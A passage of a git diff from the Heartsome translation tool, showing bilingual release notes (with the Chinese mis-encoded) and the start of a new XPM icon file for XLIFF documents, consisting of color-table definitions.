+1. Improved the display style of internal tag, the new style is cleaner and more beautiful. +2. Improved the way of displaying QA results, dynamically updating QA results. +3. Changed the extension of exported project package file from .zip to .hszip, to distinguish them easily. +4. Optimized the overwriting strategy of existing files when importing project, to streamline project distribution. +5. Optimized the performance of XLIFF editor, to make it run smoother even there are many internal tags. +--------------------------------- +Bug-fixes: +Fixed the bug that unable to activate license on Fedora Linux. +[-zh-] +--------------------------------- +新功能: +1ã€æ–°å¢žå¯¹è®°å¿†åº“匹é…的编辑ã€åˆ é™¤å’Œéƒ¨åˆ†å†…容å¤åˆ¶åŠŸèƒ½ï¼› +2ã€æ–°å¢žç¦»çº¿æ¿€æ´»åŠŸèƒ½ï¼Œå¯åœ¨æ— ç½‘络æ¡ä»¶ä¸‹ç¦»çº¿æ¿€æ´»è®¸å¯è¯ã€‚ +--------------------------------- +改进: +1ã€ä¼˜åŒ–了内部标记样å¼ï¼Œæ›´åŠ ç®€æ´å’Œç¾Žè§‚ï¼› +2ã€ä¼˜åŒ–了 QA 结果的展示,能动æ€æ›´æ–° QA 检查结果; +3ã€å°†å¯¼å‡ºçš„项目包扩展å修改为 .hszip,以区别普通 .zip 压缩包; +4ã€ä¼˜åŒ–了导入项目时对é‡å¤æ–‡ä»¶çš„自动判断和处ç†ç­–略,使项目æµè½¬æ›´åŠ æ–¹ä¾¿ï¼› +5ã€ä¼˜åŒ–了编辑器的性能,å³ä½¿å†…部标记较多也ä¿æŒæµç•…。 +--------------------------------- +ä¿®å¤ï¼š +ä¿®å¤äº†åœ¨ Fedora Linux 系统中无法激活许å¯è¯çš„问题。 + + + + Copyright © Heartsome Technologies Ltd. All rights reserved. +版æƒæ‰€æœ‰ © 瀚特盛科技有é™å…¬å¸ ä¿ç•™æ‰€æœ‰æƒåˆ© + + + + Please refer to Heartsome Software End User License Agreement (EULA). +请å‚考 Heartsome 软件最终用户许å¯å议。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.edition_lite.feature/icons/linux/xliff.xpm b/ts/net.heartsome.cat.ts.edition_lite.feature/icons/linux/xliff.xpm new file mode 100644 index 0000000..1d895c8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_lite.feature/icons/linux/xliff.xpm @@ -0,0 +1,10486 @@ +/* XPM */ +static char * xliff_xpm[] = { +"128 128 10355 3", +" c None", +". c #FFFFFF", +"+ c #FFF1E9", +"@ c #FFD4B4", +"# c #FFC495", +"$ c #FFC597", +"% c #FFC699", +"& c #FFC698", +"* c #FFC393", +"= c #FFCCA6", +"- c #FFE8D9", +"; c #FFFDFD", +"> c #FBAB72", +", c #E6791C", +"' c #C85E00", +") c #B14E00", +"! c #B24E00", +"~ c #B35000", +"{ c #B25000", +"] c #B04D00", +"^ c #BF5600", +"/ c #DD7011", +"( c #F6964D", +"_ c #FFE9DC", +": c #F7954C", +"< c #BE5000", +"[ c #7B3B08", +"} c #5F2E19", +"| c #55271C", +"1 c #56271C", +"2 c #56281C", +"3 c #54271B", +"4 c #54261B", +"5 c #55261B", +"6 c #54271C", +"7 c #54261D", +"8 c #5B2C1B", +"9 c #6E3710", +"0 c #A64900", +"a c #EC7416", +"b c #FFE9DB", +"c c #FDBA8A", +"d c #C15000", +"e c #613316", +"f c #471925", +"g c #491827", +"h c #481827", +"i c #491926", +"j c #481926", +"k c #471825", +"l c #461824", +"m c #451824", +"n c #451724", +"o c #481825", +"p c #481826", +"q c #461825", +"r c #481925", +"s c #50271D", +"t c #A44800", +"u c #F59043", +"v c #FFFCFC", +"w c #FFFBFA", +"x c #ED8833", +"y c #843D03", +"z c #471A24", +"A c #532026", +"B c #5E2C1F", +"C c #6C3415", +"D c #6D3315", +"E c #6C3215", +"F c #6C3214", +"G c #6C3213", +"H c #6C3212", +"I c #6B3112", +"J c #683011", +"K c #662F11", +"L c #622D10", +"M c #602B0F", +"N c #5D2B0F", +"O c #5F2B0F", +"P c #622D0F", +"Q c #652F11", +"R c #693011", +"S c #6A3111", +"T c #6A3112", +"U c #693010", +"V c #673011", +"W c #652F10", +"X c #642E10", +"Y c #632D10", +"Z c #612D0F", +"` c #612C0F", +" . c #652E10", +".. c #632E10", +"+. c #612D10", +"@. c #602C0F", +"#. c #622E10", +"$. c #662F10", +"%. c #6C3312", +"&. c #6C3313", +"*. c #6B3213", +"=. c #693112", +"-. c #673112", +";. c #632D11", +">. c #642E11", +",. c #663012", +"'. c #683112", +"). c #6A3212", +"!. c #6D3414", +"~. c #6C3414", +"{. c #6E3714", +"]. c #63301B", +"^. c #562325", +"/. c #4A1A27", +"(. c #653316", +"_. c #D26100", +":. c #FFDDC6", +"<. c #FFE1CC", +"[. c #D26909", +"}. c #683416", +"|. c #491927", +"1. c #59281F", +"2. c #AF641C", +"3. c #E57F25", +"4. c #DB7824", +"5. c #DA7723", +"6. c #D97723", +"7. c #D97722", +"8. c #D77621", +"9. c #D27320", +"0. c #CB6F1F", +"a. c #C16A1D", +"b. c #B8651B", +"c. c #AF5F1A", +"d. c #AB5D1A", +"e. c #B0601A", +"f. c #CA6E1E", +"g. c #D07220", +"h. c #D47421", +"i. c #D57420", +"j. c #D37320", +"k. c #CF711F", +"l. c #C46B1D", +"m. c #BE681C", +"n. c #B7641B", +"o. c #B5631B", +"p. c #B7651B", +"q. c #B9651B", +"r. c #BB661C", +"s. c #BD671C", +"t. c #BF681C", +"u. c #BB671C", +"v. c #BA661B", +"w. c #B6651B", +"x. c #B2611B", +"y. c #BC671C", +"z. c #C26A1D", +"A. c #C96E1E", +"B. c #CF721F", +"C. c #DA7722", +"D. c #D97822", +"E. c #DA7822", +"F. c #D57521", +"G. c #CF7220", +"H. c #C96E1F", +"I. c #C36C1E", +"J. c #BB671D", +"K. c #BB661D", +"L. c #C46C1E", +"M. c #C96F1F", +"N. c #D67622", +"O. c #D87722", +"P. c #D77722", +"Q. c #D87822", +"R. c #DA7923", +"S. c #DA7823", +"T. c #C9731E", +"U. c #6A361C", +"V. c #4A1927", +"W. c #52251D", +"X. c #FFC293", +"Y. c #FFD4B2", +"Z. c #C05A00", +"`. c #5C2C1A", +" + c #602E17", +".+ c #D6701D", +"++ c #FFDB68", +"@+ c #FFF081", +"#+ c #FFF179", +"$+ c #FFF17B", +"%+ c #FFF17D", +"&+ c #FFF17F", +"*+ c #FFF181", +"=+ c #FFF182", +"-+ c #FFF184", +";+ c #FFF186", +">+ c #FFF188", +",+ c #FFF18A", +"'+ c #FFF18B", +")+ c #FFF18D", +"!+ c #FFF18F", +"~+ c #FFF190", +"{+ c #FFF192", +"]+ c #FFF194", +"^+ c #FFF195", +"/+ c #FFF197", +"(+ c #FFF199", +"_+ c #FFF19A", +":+ c #FFF19C", +"<+ c #FFF19D", +"[+ c #FFF19F", +"}+ c #FFF1A0", +"|+ c #FFF1A2", +"1+ c #FFF1A3", +"2+ c #FFF1A4", +"3+ c #FFF1A6", +"4+ c #FFF1A7", +"5+ c #FFF1A8", +"6+ c #FFF1A9", +"7+ c #FFF1AA", +"8+ c #FFF1AC", +"9+ c #FFF1AD", +"0+ c #FFF0AE", +"a+ c #FFEFAE", +"b+ c #FFECAF", +"c+ c #FBE9B0", +"d+ c #F6E5B0", +"e+ c #EEDEB0", +"f+ c #EDDDB1", +"g+ c #F8E6B1", +"h+ c #FEEAB2", +"i+ c #FBE7B3", +"j+ c #FDE9B4", +"k+ c #FDEAB5", +"l+ c #FFEDB6", +"m+ c #FFEEB7", +"n+ c #FFECB7", +"o+ c #FBEAB7", +"p+ c #F6E6B7", +"q+ c #F5E4B7", +"r+ c #F9E6B6", +"s+ c #FBE8B6", +"t+ c #F7E4B6", +"u+ c #F5E2B6", +"v+ c #F4E1B6", +"w+ c #F5E2B5", +"x+ c #F5E1B5", +"y+ c #F4E0B5", +"z+ c #F3DFB4", +"A+ c #F5E1B3", +"B+ c #FAE7B2", +"C+ c #FCE9B2", +"D+ c #F3DFB1", +"E+ c #EED9B0", +"F+ c #F4DDB0", +"G+ c #F9E0B0", +"H+ c #FCE2AF", +"I+ c #FFE3AE", +"J+ c #FFE4AE", +"K+ c #FFE5AD", +"L+ c #FFE4AC", +"M+ c #FFE4AB", +"N+ c #FFE3AA", +"O+ c #FFE1A8", +"P+ c #FFE1A7", +"Q+ c #FFE0A6", +"R+ c #FFDEA4", +"S+ c #FADAA2", +"T+ c #F5D4A1", +"U+ c #F2D39F", +"V+ c #FEE99D", +"W+ c #F3D89B", +"X+ c #ECCA9A", +"Y+ c #F3D099", +"Z+ c #F5D198", +"`+ c #F9D297", +" @ c #FAD295", +".@ c #F9D194", +"+@ c #F8CF92", +"@@ c #F8CD90", +"#@ c #F8CD8F", +"$@ c #F8CC8D", +"%@ c #F9CB8B", +"&@ c #FACA8A", +"*@ c #FBCA88", +"=@ c #FBC987", +"-@ c #FBC885", +";@ c #FBC682", +">@ c #FBC581", +",@ c #FBC784", +"'@ c #FFC37E", +")@ c #F28B2F", +"!@ c #7F4013", +"~@ c #4E2020", +"{@ c #A04600", +"]@ c #FEB479", +"^@ c #FFD7B5", +"/@ c #C25C00", +"(@ c #5E2D19", +"_@ c #602D18", +":@ c #CC661A", +"<@ c #FFED72", +"[@ c #FFFF95", +"}@ c #FCFF8B", +"|@ c #FCFF8D", +"1@ c #FEFF8F", +"2@ c #FEFF92", +"3@ c #FEFF94", +"4@ c #FEFF97", +"5@ c #FEFF99", +"6@ c #FEFF9B", +"7@ c #FEFF9E", +"8@ c #FEFFA0", +"9@ c #FEFFA2", +"0@ c #FEFFA5", +"a@ c #FEFFA7", +"b@ c #FEFFA9", +"c@ c #FFFFAB", +"d@ c #FFFFAE", +"e@ c #FFFFAF", +"f@ c #FFFFB2", +"g@ c #FFFFB4", +"h@ c #FFFFB6", +"i@ c #FFFFB8", +"j@ c #FFFFBA", +"k@ c #FFFFBC", +"l@ c #FFFFBE", +"m@ c #FFFFC0", +"n@ c #FFFFC1", +"o@ c #FFFFC3", +"p@ c #FFFFC5", +"q@ c #FFFFC7", +"r@ c #FFFFC8", +"s@ c #FFFFCA", +"t@ c #FFFFCB", +"u@ c #FFFFCD", +"v@ c #FFFFCE", +"w@ c #FEFFD0", +"x@ c #FCFFD1", +"y@ c #FAFFD2", +"z@ c #F8FFD4", +"A@ c #F1FFD5", +"B@ c #F2FED7", +"C@ c #FFFFD8", +"D@ c #FFFFD9", +"E@ c #FAFFDA", +"F@ c #F8FFDA", +"G@ c #FBFFDB", +"H@ c #FCFFDB", +"I@ c #FEFFDC", +"J@ c #FDFFDC", +"K@ c #FDFFDD", +"L@ c #FCFFDD", +"M@ c #F9FFDD", +"N@ c #FAFFDE", +"O@ c #FEFFDE", +"P@ c #FFFFDE", +"Q@ c #FEFFDF", +"R@ c #F9FFDF", +"S@ c #F3FEDE", +"T@ c #F2FDDE", +"U@ c #F4FEDE", +"V@ c #F7FFDD", +"W@ c #F8FFDD", +"X@ c #F9FFDC", +"Y@ c #F7FFDC", +"Z@ c #F2FBDB", +"`@ c #EFF7DA", +" # c #F2F9DA", +".# c #FBFFD9", +"+# c #FFFFD7", +"@# c #F1F7D5", +"## c #F1F6D4", +"$# c #F6FBD3", +"%# c #F8FCD1", +"&# c #F9FDD0", +"*# c #FAFDCF", +"=# c #FAFDCD", +"-# c #FBFCCC", +";# c #FBFCCA", +"># c #FAFAC9", +",# c #FAF9C7", +"'# c #FAF8C6", +")# c #F8F6C4", +"!# c #F5F2C2", +"~# c #F1ECC0", +"{# c #EAE6BF", +"]# c #FFFFBD", +"^# c #FBFDBB", +"/# c #E4DDB9", +"(# c #EAE3B7", +"_# c #EBE3B5", +":# c #EDE3B2", +"<# c #EEE3B0", +"[# c #ECE1AE", +"}# c #ECDEAC", +"|# c #EBDDAA", +"1# c #EBDCA7", +"2# c #ECDBA5", +"3# c #ECD9A3", +"4# c #ECD8A0", +"5# c #EDD79E", +"6# c #EED79C", +"7# c #EFD69A", +"8# c #EFD497", +"9# c #F0D395", +"0# c #F1D799", +"a# c #F8D08F", +"b# c #E6852E", +"c# c #7D3D12", +"d# c #491A25", +"e# c #4F211F", +"f# c #A24700", +"g# c #FEB77D", +"h# c #FFD7B6", +"i# c #C35D00", +"j# c #5F2D19", +"k# c #CB671B", +"l# c #FFE26B", +"m# c #FDFF89", +"n# c #FAFF80", +"o# c #FAFF82", +"p# c #FBFF84", +"q# c #FBFF86", +"r# c #FBFF88", +"s# c #FBFF8A", +"t# c #FBFF8D", +"u# c #FBFF8F", +"v# c #FBFF90", +"w# c #FBFF92", +"x# c #FBFF95", +"y# c #FBFF97", +"z# c #FBFF99", +"A# c #FBFF9B", +"B# c #FCFF9C", +"C# c #FCFF9E", +"D# c #FCFFA0", +"E# c #FCFFA2", +"F# c #FCFFA4", +"G# c #FCFFA6", +"H# c #FCFFA8", +"I# c #FCFFA9", +"J# c #FCFFAB", +"K# c #FCFFAD", +"L# c #FCFFAE", +"M# c #FCFFB0", +"N# c #FCFFB2", +"O# c #FCFFB3", +"P# c #FCFFB5", +"Q# c #FCFFB6", +"R# c #FCFFB7", +"S# c #FCFFB9", +"T# c #FCFFBA", +"U# c #FCFEBB", +"V# c #FAFDBD", +"W# c #F7FABE", +"X# c #F4F6BF", +"Y# c #EDEFC0", +"Z# c #EAECC1", +"`# c #FEFDC2", +" $ c #FFFEC3", +".$ c #EBEDC3", +"+$ c #EBEEC5", +"@$ c #F2F5C5", +"#$ c #F6F9C6", +"$$ c #F9FBC7", +"%$ c #FAFDC7", +"&$ c #FAFDC8", +"*$ c #F9FBC8", +"=$ c #F7FAC8", +"-$ c #F8F9C9", +";$ c #F9F9C9", +">$ c #F7F7C9", +",$ c #F1F2C9", +"'$ c #E7EAC9", +")$ c #E9EAC9", +"!$ c #F1F1C9", +"~$ c #F6F6C8", +"{$ c #F9F8C8", +"]$ c #FBF8C8", +"^$ c #FAF8C8", +"/$ c #F9F7C7", +"($ c #FAF8C7", +"_$ c #F9F7C6", +":$ c #F5F3C5", +"<$ c #EAE7C5", +"[$ c #E1DEC4", +"}$ c #E8E6C3", +"|$ c #F6F3C2", +"1$ c #FDFAC1", +"2$ c #F0ECC0", +"3$ c #EAE5BF", +"4$ c #F2EBBE", +"5$ c #F4EDBD", +"6$ c #F6EEBC", +"7$ c #F7EEBA", +"8$ c #F8EEB9", +"9$ c #F8EEB8", +"0$ c #F8EDB6", +"a$ c #F8ECB5", +"b$ c #F8EAB4", +"c$ c #F5E8B2", +"d$ c #F1E3B0", +"e$ c #EBDEAF", +"f$ c #E1D3AD", +"g$ c #F4EDAC", +"h$ c #FCF7AA", +"i$ c #DCCEA8", +"j$ c #DFCFA6", +"k$ c #E0D0A4", +"l$ c #E2D1A2", +"m$ c #E1CDA1", +"n$ c #DECA9F", +"o$ c #DEC89D", +"p$ c #DEC79B", +"q$ c #E0C999", +"r$ c #E2CA97", +"s$ c #E3CA95", +"t$ c #E4C993", +"u$ c #E4C891", +"v$ c #E6C88F", +"w$ c #E8C88D", +"x$ c #EAC88B", +"y$ c #ECC889", +"z$ c #EECC8C", +"A$ c #F6C784", +"B$ c #E5842D", +"C$ c #7C3D13", +"D$ c #A34800", +"E$ c #FEB77E", +"F$ c #FFE26A", +"G$ c #FDFF87", +"H$ c #FAFE7E", +"I$ c #FAFF81", +"J$ c #FBFF83", +"K$ c #FBFF85", +"L$ c #FBFF87", +"M$ c #FBFF89", +"N$ c #FBFF8B", +"O$ c #FBFF91", +"P$ c #FBFF93", +"Q$ c #FCFF9D", +"R$ c #FCFF9F", +"S$ c #FCFFA1", +"T$ c #FCFFA3", +"U$ c #FCFFA7", +"V$ c #FCFFAC", +"W$ c #FCFFAF", +"X$ c #FCFFB1", +"Y$ c #FCFFB4", +"Z$ c #FCFFB8", +"`$ c #FBFEB9", +" % c #F9FBBB", +".% c #F5F7BB", +"+% c #F0F3BC", +"@% c #E7EBBE", +"#% c #FAF8BF", +"$% c #EBEBC0", +"%% c #E9ECC2", +"&% c #F1F3C2", +"*% c #F5F7C3", +"=% c #F8FBC4", +"-% c #FAFCC5", +";% c #FAFDC5", +">% c #F8FBC5", +",% c #F9FAC6", +"'% c #F9F9C6", +")% c #F1F4C7", +"!% c #EBEEC6", +"~% c #E5E8C6", +"{% c #EFEFC6", +"]% c #FBFAC6", +"^% c #F9F8C6", +"/% c #F5F5C6", +"(% c #F3F3C6", +"_% c #F2F1C6", +":% c #F1F0C5", +"<% c #F0EEC5", +"[% c #F0EFC5", +"}% c #F3F1C4", +"|% c #F8F5C3", +"1% c #FCFAC2", +"2% c #F2F0C1", +"3% c #E0DDC1", +"4% c #DFDCC0", +"5% c #EFEBBF", +"6% c #FFFDBE", +"7% c #F1ECBD", +"8% c #E9E3BC", +"9% c #F1EABB", +"0% c #F4EBBA", +"a% c #F6EDB9", +"b% c #F7EDB7", +"c% c #F8ECB3", +"d% c #F7EAB2", +"e% c #F4E7B0", +"f% c #EFE2AE", +"g% c #EADDAD", +"h% c #DECFAB", +"i% c #EEE6A9", +"j% c #FEFAA8", +"k% c #D9CDA6", +"l% c #D6C8A5", +"m% c #CEC0A3", +"n% c #CEBDA1", +"o% c #D6C79F", +"p% c #DED09D", +"q% c #E2D49B", +"r% c #E2D29A", +"s% c #DECA98", +"t% c #D9C296", +"u% c #D5BA94", +"v% c #D4B891", +"w% c #D7BC90", +"x% c #DDC18D", +"y% c #E0C28B", +"z% c #E3C289", +"A% c #E6C487", +"B% c #EAC98B", +"C% c #F4C582", +"D% c #E2832D", +"E% c #4A1A25", +"F% c #FFE269", +"G% c #FDFF86", +"H% c #FAFE7D", +"I% c #FAFE7F", +"J% c #FBFF8C", +"K% c #FBFF8E", +"L% c #FBFF94", +"M% c #FAFDB7", +"N% c #F7FAB9", +"O% c #F3F6BA", +"P% c #EBEDBB", +"Q% c #EFF0BC", +"R% c #FFFEBD", +"S% c #EEEEBD", +"T% c #E5E9BF", +"U% c #EFF1BF", +"V% c #F3F6C0", +"W% c #F7FAC1", +"X% c #F9FCC2", +"Y% c #FAFDC2", +"Z% c #FAFDC3", +"`% c #F8FBC3", +" & c #F7F9C4", +".& c #F1F4C4", +"+& c #EDF0C4", +"@& c #E7EAC4", +"#& c #F2F2C4", +"$& c #FDFBC4", +"%& c #F1F1C4", +"&& c #E9EAC4", +"*& c #EAEBC4", +"=& c #EDEEC4", +"-& c #F0EFC4", +";& c #F1EFC3", +">& c #F1F0C2", +",& c #F0EFC2", +"'& c #EDEBC2", +")& c #EAE7C1", +"!& c #EFECC0", +"~& c #FCF9C0", +"{& c #F8F4BF", +"]& c #E3E0BE", +"^& c #DCD8BD", +"/& c #ECE8BC", +"(& c #FFFDBB", +"_& c #EDE8BA", +":& c #EAE2B9", +"<& c #F1E9B8", +"[& c #F4EAB7", +"}& c #F6ECB5", +"|& c #F7ECB4", +"1& c #F7EBB3", +"2& c #F8EBB1", +"3& c #F7EAB0", +"4& c #F4E6AE", +"5& c #EEE0AC", +"6& c #E8DBAB", +"7& c #DACDAA", +"8& c #EFE7A8", +"9& c #FCF6A6", +"0& c #D0C4A5", +"a& c #D0C4A3", +"b& c #E2D9A1", +"c& c #E7E09F", +"d& c #F6F19D", +"e& c #FBF69B", +"f& c #F6EF9A", +"g& c #F9F298", +"h& c #FCF695", +"i& c #F9F194", +"j& c #F2E992", +"k& c #E7D990", +"l& c #D8C28E", +"m& c #CDB18C", +"n& c #CCAE8A", +"o& c #D7BA88", +"p& c #DEBF86", +"q& c #E4C48A", +"r& c #EFC181", +"s& c #DE802C", +"t& c #7B3C13", +"u& c #FFE268", +"v& c #FDFF84", +"w& c #FAFE7C", +"x& c #FBFF82", +"y& c #FBFF96", +"z& c #FBFF98", +"A& c #FBFF9A", +"B& c #FCFF9B", +"C& c #FCFFAA", +"D& c #FAFCB5", +"E& c #F6F8B7", +"F& c #F1F3B8", +"G& c #E8EBB9", +"H& c #FBF8BA", +"I& c #FAF7BB", +"J& c #E4E7BC", +"K& c #EDEFBC", +"L& c #F2F4BD", +"M& c #F6F9BE", +"N& c #FAFDBE", +"O& c #FBFEBF", +"P& c #FBFEC0", +"Q& c #FAFDC1", +"R& c #F7FBC1", +"S& c #F3F7C1", +"T& c #F0F3C2", +"U& c #E8ECC2", +"V& c #F2F2C2", +"W& c #F9F7C2", +"X& c #E6E8C2", +"Y& c #E2E4C2", +"Z& c #EBEBC2", +"`& c #EFEFC2", +" * c #F1F1C2", +".* c #F3F2C1", +"+* c #F4F2C1", +"@* c #F4F2C0", +"#* c #F3F2BF", +"$* c #F9F6C3", +"%* c #FFFCCA", +"&* c #FFFDCE", +"** c #FFFCCF", +"=* c #FFFFD0", +"-* c #FFFFCF", +";* c #FBF8CE", +">* c #F1EDCC", +",* c #FFFCC9", +"'* c #F0E9BC", +")* c #EDE5B7", +"!* c #F2E9B5", +"~* c #F5EBB4", +"{* c #F6EBB2", +"]* c #F7EBB1", +"^* c #F7EAAF", +"/* c #F6E8AD", +"(* c #F2E4AD", +"_* c #ECDEAB", +":* c #E6D8A9", +"<* c #D7CAA8", +"[* c #F6EEA6", +"}* c #FAF5A4", +"|* c #C7BAA3", +"1* c #D2C6A1", +"2* c #FFFF9F", +"3* c #FFFF9D", +"4* c #EBE59C", +"5* c #BEB39A", +"6* c #C7B998", +"7* c #D1C296", +"8* c #DCCC94", +"9* c #E4D692", +"0* c #EEE490", +"a* c #FCF88F", +"b* c #FFFF8C", +"c* c #F4EE8B", +"d* c #D9C689", +"e* c #C4A886", +"f* c #CDAF84", +"g* c #DDC088", +"h* c #E8BC7F", +"i* c #D77D2A", +"j* c #793B12", +"k* c #FFE267", +"l* c #FDFF82", +"m* c #FAFE7A", +"n* c #FBFEB2", +"o* c #F8FBB3", +"p* c #F4F6B5", +"q* c #EEF1B6", +"r* c #EAECB7", +"s* c #FEFAB8", +"t* c #F0F0B9", +"u* c #E7EBBA", +"v* c #F0F2BA", +"w* c #F9FCBC", +"x* c #FBFEBD", +"y* c #FBFEBE", +"z* c #F9FCBE", +"A* c #F6F9BF", +"B* c #F3F6BF", +"C* c #ECEFBF", +"D* c #EFF0C0", +"E* c #FEFBC0", +"F* c #EEEEC0", +"G* c #EDEEC0", +"H* c #F1F0C0", +"I* c #EEEEBF", +"J* c #F1F2BF", +"K* c #F4F3BE", +"L* c #FFFFD2", +"M* c #E8E9B4", +"N* c #C7C89B", +"O* c #BABA91", +"P* c #B0AE8C", +"Q* c #9D997F", +"R* c #9D9973", +"S* c #A09B79", +"T* c #A19E86", +"U* c #A19F89", +"V* c #C0C293", +"W* c #E3E3A8", +"X* c #F3ECBE", +"Y* c #FFF8C2", +"Z* c #FAEFB7", +"`* c #F7EAB1", +" = c #F8EBB0", +".= c #F7E9AE", +"+= c #F5E6AC", +"@= c #EFE2AB", +"#= c #E9DBA9", +"$= c #E0D3A7", +"%= c #D9CCA6", +"&= c #FFFCA4", +"*= c #EDE6A2", +"== c #C6B8A1", +"-= c #CCC19F", +";= c #F5F09D", +">= c #FFFF9B", +",= c #F8F69A", +"'= c #C8BD99", +")= c #AEA096", +"!= c #C4B495", +"~= c #CBB693", +"{= c #CEB691", +"]= c #CCB18F", +"^= c #D0B78D", +"/= c #DFD18B", +"(= c #FFFF89", +"_= c #FFFF87", +":= c #EBE085", +"<= c #C2A783", +"[= c #C9AD87", +"}= c #E0B87D", +"|= c #CC7728", +"1= c #753912", +"2= c #491A24", +"3= c #CB671C", +"4= c #FFE266", +"5= c #FDFF81", +"6= c #FAFE78", +"7= c #FAFE7B", +"8= c #FBFF81", +"9= c #FCFF98", +"0= c #FDFF9D", +"a= c #FCFFA5", +"b= c #FAFEB0", +"c= c #F7FAB1", +"d= c #F2F5B3", +"e= c #EBEEB4", +"f= c #EFEFB5", +"g= c #FBF8B6", +"h= c #E9EBB7", +"i= c #ECEFB7", +"j= c #F2F4B8", +"k= c #F7F9B9", +"l= c #FAFEBA", +"m= c #FBFFBB", +"n= c #FBFEBC", +"o= c #F6F9BC", +"p= c #F1F5BD", +"q= c #EBEFBD", +"r= c #FEFABD", +"s= c #FDFBBD", +"t= c #F2F1BD", +"u= c #F1F1BD", +"v= c #F7F5BD", +"w= c #F8F5BD", +"x= c #EFEFBB", +"y= c #FFFFCC", +"z= c #FFFFD4", +"A= c #D6D9A7", +"B= c #B0B189", +"C= c #A4A17E", +"D= c #8B836A", +"E= c #897D65", +"F= c #A49276", +"G= c #AD997D", +"H= c #AD977B", +"I= c #AC957A", +"J= c #AD9778", +"K= c #AD9776", +"L= c #9D896B", +"M= c #7D6F58", +"N= c #857C5C", +"O= c #8F886B", +"P= c #959376", +"Q= c #D3CE9E", +"R= c #FFF5B8", +"S= c #F6E9AE", +"T= c #F8EAAD", +"U= c #F4E6AB", +"V= c #ECDFA9", +"W= c #E5D8A7", +"X= c #D5C7A5", +"Y= c #E9E0A4", +"Z= c #FFFFA2", +"`= c #DACEA1", +" - c #D0C39F", +".- c #CBBC9D", +"+- c #C0B49C", +"@- c #EEE89A", +"#- c #FFFF98", +"$- c #FFFE97", +"%- c #C7BD94", +"&- c #B6A793", +"*- c #CEBC91", +"=- c #D5BF8F", +"-- c #D8C08D", +";- c #D3B98B", +">- c #C4A889", +",- c #C6AE87", +"'- c #ECE485", +")- c #FFFF83", +"!- c #F0E881", +"~- c #C2AB85", +"{- c #CDA67B", +"]- c #BF7026", +"^- c #6F3611", +"/- c #481A24", +"(- c #FFE265", +"_- c #FDFF7F", +":- c #FAFE77", +"<- c #FAFE79", +"[- c #FAFF7F", +"}- c #FBFE94", +"|- c #FAFE96", +"1- c #FAFD98", +"2- c #FAFD99", +"3- c #FAFD9B", +"4- c #FAFE9D", +"5- c #FBFE9E", +"6- c #FBFFA3", +"7- c #FBFFA5", +"8- c #FBFFAC", +"9- c #FAFDAE", +"0- c #F6F8AF", +"a- c #F1F4B0", +"b- c #E9ECB1", +"c- c #F3F2B2", +"d- c #F9F6B3", +"e- c #E6E9B4", +"f- c #EFF1B5", +"g- c #F3F5B6", +"h- c #F7FBB7", +"i- c #FBFEB7", +"j- c #FBFFB8", +"k- c #FBFFB9", +"l- c #F9FCBA", +"m- c #F6F9BA", +"n- c #F0F4BB", +"o- c #F3F4BB", +"p- c #FCF9BB", +"q- c #E6E9BB", +"r- c #E6E8B9", +"s- c #FFFFC4", +"t- c #FFFFD5", +"u- c #C7CB9E", +"v- c #8E8E70", +"w- c #827A66", +"x- c #A1917B", +"y- c #C0AB92", +"z- c #DFC8AA", +"A- c #F8E0BD", +"B- c #FCE5C1", +"C- c #F9E2BE", +"D- c #F6DFBB", +"E- c #F4DDB8", +"F- c #F4DCB5", +"G- c #F6DCB3", +"H- c #F8DCB1", +"I- c #F1D3A6", +"J- c #D8B990", +"K- c #BDA27B", +"L- c #907B5F", +"M- c #625B48", +"N- c #888767", +"O- c #E1D79F", +"P- c #F1E2A7", +"Q- c #F0E2A8", +"R- c #ECDFA8", +"S- c #DACCA5", +"T- c #D7C9A3", +"U- c #F4EDA1", +"V- c #CFC09F", +"W- c #D9C99D", +"X- c #D7C89C", +"Y- c #C4B69A", +"Z- c #BFB298", +"`- c #F9F497", +" ; c #FFFC93", +".; c #C3B691", +"+; c #C0AD8F", +"@; c #D5BE8D", +"#; c #DBC18B", +"$; c #DCC08A", +"%; c #D8BD88", +"&; c #C5AB86", +"*; c #B59B84", +"=; c #E9DF82", +"-; c #FFFF80", +";; c #EFE784", +">; c #BF9C79", +",; c #AE6523", +"'; c #69330F", +"); c #471A23", +"!; c #4E211E", +"~; c #FFE264", +"{; c #FCFF7E", +"]; c #FAFE76", +"^; c #FAFE8D", +"/; c #FAFD8F", +"(; c #F9FC91", +"_; c #F7FA93", +":; c #F6F994", +"<; c #F5F896", +"[; c #F5F898", +"}; c #F5F89A", +"|; c #F6F99B", +"1; c #F7FA9D", +"2; c #F8FB9E", +"3; c #F8FBA0", +"4; c #F9FCA1", +"5; c #F8FCA3", +"6; c #F8FCA4", +"7; c #F9FCA6", +"8; c #F9FCA7", +"9; c #FAFDA8", +"0; c #FBFEA9", +"a; c #FBFFAB", +"b; c #FAFDAC", +"c; c #F5F8AD", +"d; c #F0F3AE", +"e; c #E7EBAF", +"f; c #F8F5B0", +"g; c #F8F5B1", +"h; c #E5E9B2", +"i; c #EEF1B3", +"j; c #F3F5B4", +"k; c #F8FBB5", +"l; c #FBFEB5", +"m; c #FBFFB6", +"n; c #FAFEB7", +"o; c #F9FCB8", +"p; c #F6F9B8", +"q; c #F1F5B8", +"r; c #FBF9B9", +"s; c #F2F3B8", +"t; c #E9EDB9", +"u; c #EDEFB8", +"v; c #F1F3BA", +"w; c #FFFFD1", +"x; c #DEE2AF", +"y; c #8A8A6D", +"z; c #827864", +"A; c #AB9986", +"B; c #F3DDBF", +"C; c #FFEFCD", +"D; c #F6E3C5", +"E; c #ECDBC0", +"F; c #EAD9BE", +"G; c #EAD9BD", +"H; c #EAD8BC", +"I; c #E9D6BA", +"J; c #E8D5B6", +"K; c #E7D3B4", +"L; c #E6D1B1", +"M; c #E5CFAD", +"N; c #E3CDA9", +"O; c #E3CBA5", +"P; c #EBD0A4", +"Q; c #FDDCA7", +"R; c #D2B387", +"S; c #6B5C47", +"T; c #575541", +"U; c #B8AF80", +"V; c #E0D39D", +"W; c #E2D4A4", +"X; c #E7DBA5", +"Y; c #F7F3A2", +"Z; c #FDFCA0", +"`; c #D6C89F", +" > c #D5C59C", +".> c #DECD9B", +"+> c #DDCB9A", +"@> c #D7C798", +"#> c #BEAF96", +"$> c #CFC495", +"%> c #FFFF93", +"&> c #FFFF91", +"*> c #E5DD8F", +"=> c #BDAB8D", +"-> c #D2BB8C", +";> c #DDC18A", +">> c #E1C388", +",> c #DEC086", +"'> c #D4B984", +")> c 